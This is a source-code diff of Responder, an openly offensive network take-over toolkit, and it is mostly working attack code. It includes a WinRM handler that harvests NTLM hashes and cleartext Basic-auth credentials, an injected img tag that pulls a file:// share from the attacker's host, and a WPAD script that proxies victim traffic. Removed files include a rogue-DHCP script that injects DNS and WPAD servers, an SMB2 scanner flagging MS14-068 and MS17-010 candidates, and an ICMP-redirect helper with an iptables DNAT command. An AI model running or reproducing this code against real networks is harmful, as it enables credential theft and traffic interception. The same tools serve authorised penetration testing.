def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth or NTLM_Auth2:
if NTLM_Auth2:
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
if NTLM_Auth2:
Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
return Buffer_Ans
else:
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
return Buffer_Ans
if Packet_NTLM == b'\x03':
if NTLM_Auth2:
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
else:
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
SaveToDb({
'module': 'WinRM',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
})
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
return Response
# HTTP Server class
class WinRM(BaseRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
while True:
self.request.settimeout(3)
remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except:
raise
pass

113
settings.py Normal file → Executable file
View File

@@ -14,7 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import utils, sys
import utils, sys, random
if (sys.version_info > (3, 0)):
import configparser as ConfigParser
else:
@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.2.0'
__version__ = 'Responder 3.0.8.0'
class Settings:
@@ -68,7 +68,7 @@ class Settings:
def populate(self, options):
if options.Interface is None and utils.IsOsX() is False:
if options.Interface == None and utils.IsOsX() == False:
print(utils.color("Error: -I <if> mandatory option is missing", 1))
sys.exit(-1)
@@ -96,6 +96,8 @@ class Settings:
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File
@@ -112,6 +114,41 @@ class Settings:
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
@@ -142,11 +179,18 @@ class Settings:
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if len(self.HtmlToInject) == 0:
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
if len(self.WPAD_Script) == 0:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
@@ -158,49 +202,19 @@ class Settings:
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
self.RPCPort = random.randrange(45000, 49999)
# Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = []
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject is None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
@@ -238,7 +252,14 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
# First time Responder run?
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1")
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
@@ -261,7 +282,7 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))

View File

@@ -1,317 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import struct
import optparse
import configparser
import os
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from packets import Packet
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None:
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1)
elif options.RouterIP is None:
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1)
elif options.DNSIP is None:
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1)
elif options.DNSIP2 is None:
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.2 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
print('## ##')
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print('## any linux box, use -R (can be noisy) ##')
print('## ##')
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print('#############################################################################')
print('')
print(color('[*]', 2, 1), 'Listening for events...')
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD.strip() + "\\n"
Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests
if Spoof:
DHCPSERVER = ROUTERIP
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View File

@@ -1,63 +0,0 @@
#!/bin/bash
# This file is part of Responder. laurent.gaffie@gmail.com
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This script will try to auto-detect network parameters
# to run the rogue DHCP server, to inject only your IP
# address as the primary DNS server and WPAD server and
# leave everything else normal.
if [ -z $1 ]; then
echo "usage: $0 <interface>"
exit
fi
if [ $EUID -ne 0 ]; then
echo "Must be run as root."
exit
fi
if [ ! -d "/sys/class/net/$1" ]; then
echo "Interface does not exist."
exit
fi
INTF=$1
PATH="$PATH:/sbin"
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "
fi
echo "Running with parameters:"
echo "INTERFACE: $INTF"
echo "IP ADDR: $IPADDR"
echo "NETMAST: $NETMASK"
echo "ROUTER IP: $ROUTER"
echo "DNS1 IP: $DNS1"
echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View File

@@ -1,99 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import os
import datetime
import multiprocessing
from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t, host):
if t[0] == 0:
print("Server", host[0], "did not disclose its boot time")
return
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print("System is up since:", t[1])
print("This system may be vulnerable to MS14-068")
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
if t[0] < Date:
print("System is up since:", t[1])
print("This system may be vulnerable to MS17-010")
print("Server", host[0], "is up since:", t[1])
def run(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024)
if data[4:5] == "\xff":
print("Server", host[0], "doesn't support SMBv2")
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]), host)
except KeyboardInterrupt:
s.close()
sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -16,12 +16,12 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from socket import *
print('MSSQL Server Finder 0.2')
print('MSSQL Server Finder 0.3')
s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434))
s.settimeout(5)
s.sendto(b'\x02',('255.255.255.255',1434))
try:
while 1:
@@ -31,7 +31,7 @@ try:
else:
print("===============================================================")
print(("Host details: %s"%(address[0])))
print((data[2:]))
print((data[2:]).decode('latin-1'))
print("===============================================================")
print("")
except:

View File

@@ -19,14 +19,16 @@ import struct
import optparse
import pipes
import sys
import codecs
from socket import *
sys.path.append('../')
from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from packets import Packet
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0],
)
@@ -78,13 +80,53 @@ def Show_Help(ExtraHelpData):
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def GenCheckSum(data):
s = 0
for i in range(0, len(data), 2):
q = ord(data[i]) + (ord(data[i+1]) << 8)
f = s + q
s = (f & 0xffff) + (f >> 16)
return struct.pack("<H",~s & 0xffff)
return StructWithLenPython2or3("<H",~s & 0xffff)
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#####################################################################
#ARP Packets
